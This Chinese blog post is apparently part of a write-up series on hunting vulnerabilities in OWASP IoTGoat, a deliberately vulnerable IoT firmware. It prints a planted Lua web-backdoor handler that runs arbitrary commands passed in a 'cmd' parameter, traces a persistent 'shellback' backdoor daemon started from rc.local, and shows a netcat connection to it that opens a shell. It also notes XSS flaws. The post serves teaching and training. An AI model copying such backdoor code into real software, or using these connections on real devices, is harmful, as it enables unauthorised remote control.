系列|OWASP IoTGoat固件漏洞挖掘 03

  • A+
所属分类:逆向工程


继续接着上一章,本章节主要从不安全的生态系统接口入手。




不安全的生态系统接口

1.  web后门

web界面Url包含可供开发者调试的接口

查看web路由
(/usr/lib/lua/luci/controller/iotgoat/iotgoat.lua)

发现执行命令的接口

module("luci.controller.iotgoat.iotgoat"package.seeall)
local http = require("luci.http")
function index()
   entry({"admin""iotgoat"}, firstchild(), "IoTGoat"60).dependent=false
   entry({"admin""iotgoat""cmdinject"}, template("iotgoat/cmd"), ""1)
   entry({"admin""iotgoat""cam"}, template("iotgoat/camera"), "Camera"2)
   entry({"admin""iotgoat""door"}, template("iotgoat/door"), "Doorlock"3)
   entry({"admin""iotgoat""webcmd"}, call("webcmd"))
end

function webcmd()
   local cmd = http.formvalue("cmd")
   if cmd then
       local fp = io.popen(tostring(cmd).." 2>&1")
       local result =  fp:read("*a")
       fp:close()
       result = result:gsub("<""&lt;")
       http.write(tostring(result))
   else
       http.write_json(http.formvalue())
   end
end
可疑url汇总
admin/iotgoat/cmdinject
admin/iotgoat/cam
admin/iotgoat/door
admin/iotgoat/webcmd
  • admin/iotgoat/cmdinject


    执行netstat -atnp
系列|OWASP IoTGoat固件漏洞挖掘 03
  • admin/iotgoat/webcmd


    cmd传参执行系统命令
系列|OWASP IoTGoat固件漏洞挖掘 03




2. 程序后门


$ netstat -antp #查看可疑进程
$ ps | grep shellback
系列|OWASP IoTGoat固件漏洞挖掘 03
查看固件开机启动项(/etc/rc.local)
系列|OWASP IoTGoat固件漏洞挖掘 03
将程序拖入IDA分析

一键F5反汇编
系列|OWASP IoTGoat固件漏洞挖掘 03
使用netcat进行后门连接
$ nc -v 192.168.72.132 5515
系列|OWASP IoTGoat固件漏洞挖掘 03



3. Web漏洞


XSS漏洞
反射型xss
配置Firewall - Traffic Rules
系列|OWASP IoTGoat固件漏洞挖掘 03
配置Firewall - Port Forwards
系列|OWASP IoTGoat固件漏洞挖掘 03
存储型xss
配置SSID名称
系列|OWASP IoTGoat固件漏洞挖掘 03
系列|OWASP IoTGoat固件漏洞挖掘 03





总结

1.  不可直接访问的“秘密”开发人员诊断页面,并向用户公开 shell 访问权限。
2.  配置在启动期间运行的持久后门守护进程。
3.  多个跨站点脚本 (XSS) 漏洞。


系列|OWASP IoTGoat固件漏洞挖掘 03
如果您有意向加入我们,请留言: ),
或邮件投递简历:[email protected]

本文始发于微信公众号(山石网科安全技术研究院):系列|OWASP IoTGoat固件漏洞挖掘 03

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: